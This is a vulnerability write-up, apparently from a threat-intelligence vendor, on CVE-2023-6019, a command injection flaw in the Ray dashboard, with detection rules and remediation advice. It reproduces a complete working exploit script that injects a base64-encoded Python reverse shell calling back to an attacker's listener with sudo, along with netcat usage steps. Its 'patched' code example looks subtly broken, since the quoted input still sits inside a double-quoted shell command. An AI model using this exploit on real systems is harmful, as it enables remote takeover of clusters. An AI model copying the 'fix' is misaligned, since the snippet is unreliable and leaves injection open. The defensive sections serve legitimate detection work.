CVE-2023-6019
Executive Summary
CVE-2023-6019 is a critical unauthenticated remote command injection vulnerability in the Ray distributed computing framework's dashboard. The vulnerability exists in the /worker/cpu_profile endpoint, where the format parameter is directly concatenated into a system command without sanitization. An attacker can inject arbitrary OS commands by crafting a malicious format parameter, leading to full remote code execution (RCE) on the target system. The CVSS score is 9.8 (Critical), and a public exploit is available. The vulnerability affects Ray versions prior to 2.8.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Ray is a popular open-source framework for distributed computing, often used in machine learning and AI pipelines. The vulnerability is in the core Ray dashboard component, which is typically deployed as part of the Ray cluster. Organizations using Ray in their infrastructure should treat this as a high-priority supply chain risk, as exploitation can lead to full cluster compromise.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. Successful exploitation grants an attacker full control over the Ray dashboard host.
Deep Dive & Mechanics
The vulnerability resides in the CPU profiling functionality of the Ray dashboard. The endpoint /worker/cpu_profile accepts a format parameter that is used to specify the output format of the profiling data. This parameter is passed directly to a shell command without proper sanitization or escaping.
The vulnerable code path constructs a command similar to:
/usr/bin/python3 -c "import ray; ray.timeline(format='<user_input>')"
An attacker can inject arbitrary shell commands by including backticks or other shell metacharacters in the format parameter. For example, a payload like:
`echo <base64_encoded_payload> | base64 -d | sh`
will be executed by the shell, allowing the attacker to run arbitrary commands.
The exploit script provided in the Hacker Arsenal demonstrates this by base64-encoding a reverse shell payload and injecting it into the format parameter.
Vulnerable vs. Patched Code
Vulnerable Code (Ray < 2.8.1):
# In the CPU profiling handler
def cpu_profile_handler(request):
format = request.args.get('format', '')
# Directly used in a shell command
cmd = f"python3 -c \"import ray; ray.timeline(format='{format}')\""
os.system(cmd)
Patched Code (Ray >= 2.8.1):
# In the CPU profiling handler
import shlex
def cpu_profile_handler(request):
format = request.args.get('format', '')
# Sanitize the input
safe_format = shlex.quote(format)
cmd = f"python3 -c \"import ray; ray.timeline(format={safe_format})\""
os.system(cmd)
The fix uses shlex.quote() to properly escape the user input, preventing shell injection.
Exploitation & Lab Setup
Red Team
The following exploit script (from Exploit-DB) demonstrates how to achieve RCE:
# Exploit Title: Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
# Description:
# The Ray Project dashboard contains a CPU profiling page, and the format parameter is
# not validated before being inserted into a system command executed in a shell, allowing
# for arbitrary command execution. If the system is configured to allow passwordless sudo
# (a setup some Ray configurations require) this will result in a root shell being returned
# to the user. If not configured, a user level shell will be returned
# Version: <= 2.6.3
# Date: 2024-4-10
# Exploit Author: Fire_Wolf
# Tested on: Ubuntu 20.04.6 LTS
# Vendor Homepage: https://www.ray.io/
# Software Link: https://github.com/ray-project/ray
# CVE: CVE-2023-6019
# Refer: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
# ==========================================================================================
# !usr/bin/python3
# coding=utf-8
import base64
import argparse
import requests
import urllib3
proxies = {"http": "127.0.0.1:8080"}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
}
def check_url(target, port):
target_url = target + ":" + port
https = 0
if 'http' not in target:
try:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
test_url = 'http://' + target_url
response = requests.get(url=test_url, headers=headers, verify=False, timeout=3)
if response.status_code != 200:
is_https = 0
return is_https
except Exception as e:
print("ERROR! The Exception is:" + format(e))
if https == 1:
return "https://" + target_url
else:
return "http://" + target_url
def exp(target,ip,lhost, lport):
payload = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' + lhost + '",' + lport + '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''
print("[*]Payload is: " + payload)
b64_payload = base64.b64encode(payload.encode())
print("[*]Base64 encoding payload is: " + b64_payload.decode())
exp_url = target + '/worker/cpu_profile?pid=3354&ip=' + str(ip) + '&duration=5&native=0&format=`echo ' + b64_payload.decode() + ' |base64$IFS-d|sudo%20sh`'
# response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)
print(exp_url)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(url=exp_url, headers=headers, verify=False)
if response.status_code == 200:
print("[-]ERROR: Exploit Failed,please check the payload.")
else:
print("[+]Exploit is finished,please check your machine!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='''
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⡠⠄⡄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡀⡄⡄
⠑⠂⠘⠄⠙⠂⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠗⠁⠬⠃
⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢠⡠⠄⠄⢸⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄
⠘⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠘⠄⠈⠓⠠⠤⠘⠙⠈⠊⠐⠓⠄⠃⠄
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
''',
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument('-t', '--target', type=str, required=True, help='tart ip')
parser.add_argument('-p', '--port', type=str, default=80, required=False, help='tart host port')
parser.add_argument('-L', '--lhost', type=str, required=True, help='listening host ip')
parser.add_argument('-P', '--lport', type=str, default=80, required=False, help='listening port')
args = parser.parse_args()
# target = args.target
ip = args.target
# port = args.port
# lhost = args.lhost
# lport = args.lport
targeturl = check_url(args.target, args.port)
print(targeturl)
print("[*] Checking in url: " + targeturl)
exp(targeturl, ip, args.lhost, args.lport)
Usage:
- Set up a listener on your attacker machine:
nc -lvnp <LPORT> - Run the exploit:
python3 exploit.py -t <TARGET_IP> -p <TARGET_PORT> -L <YOUR_IP> -P <YOUR_PORT> - The exploit will send a malicious request to the Ray dashboard, executing a reverse shell.
Blue Team
Detection:
- Monitor for requests to
/worker/cpu_profilewith suspiciousformatparameters containing shell metacharacters (e.g., backticks,$IFS,|). - Look for outbound connections from Ray dashboard hosts to unknown IPs on unusual ports.
- Monitor for base64-encoded strings in HTTP request parameters.
Hunting:
- Search logs for
cpu_profileendpoint access with non-standardformatvalues. - Check for processes spawned by the Ray dashboard user that are not typical (e.g., reverse shells,
nc,bash).
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/worker/cpu_profilewithformatparameter containing backticks or base64-encoded data. - Outbound connections from Ray dashboard hosts to attacker-controlled IPs on ports 80, 443, or custom ports.
- HTTP requests to
- File System:
- Unexpected files in
/tmp/or/dev/shm/created by the Ray user. - Modified system binaries or scripts.
- Unexpected files in
- Process:
- Unusual processes running as the Ray user, such as
nc,bash,python3with reverse shell arguments. - High CPU usage from unexpected processes.
- Unusual processes running as the Ray user, such as
Detection Engineering
YARA Rule
rule CVE_2023_6019_Ray_Command_Injection {
meta:
description = "Detects exploit attempts for CVE-2023-6019 in Ray dashboard logs"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6019"
strings:
$s1 = "/worker/cpu_profile" ascii wide nocase
$s2 = "format=" ascii wide nocase
$s3 = "`" ascii wide
$s4 = "base64" ascii wide nocase
$s5 = "|" ascii wide
$s6 = "$IFS" ascii wide
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2023-6019 Ray Dashboard Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2023-6019 via HTTP requests to /worker/cpu_profile with malicious format parameter.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-6019
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "/worker/cpu_profile"
- "format="
cs-uri-query|contains|all:
- "`"
- "base64"
condition: selection
falsepositives:
- Legitimate use of base64 in format parameter (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-6019 Ray Dashboard Command Injection Attempt"; flow:to_server,established; content:"/worker/cpu_profile"; http_uri; content:"format="; http_uri; pcre:"/format=.*[`|$]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Ray to version 2.8.1 or later.
- Workaround: If upgrade is not possible, restrict network access to the Ray dashboard (port 8265 by default) to trusted IPs only.
- Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block requests containing shell metacharacters in the
formatparameter. - Monitoring: Enable detailed logging for the Ray dashboard and monitor for suspicious activity as described in the Detection Engineering section.
Valters IT
{/* [Security Hash: 3303CFF5CE810E8C82EA6F43] */}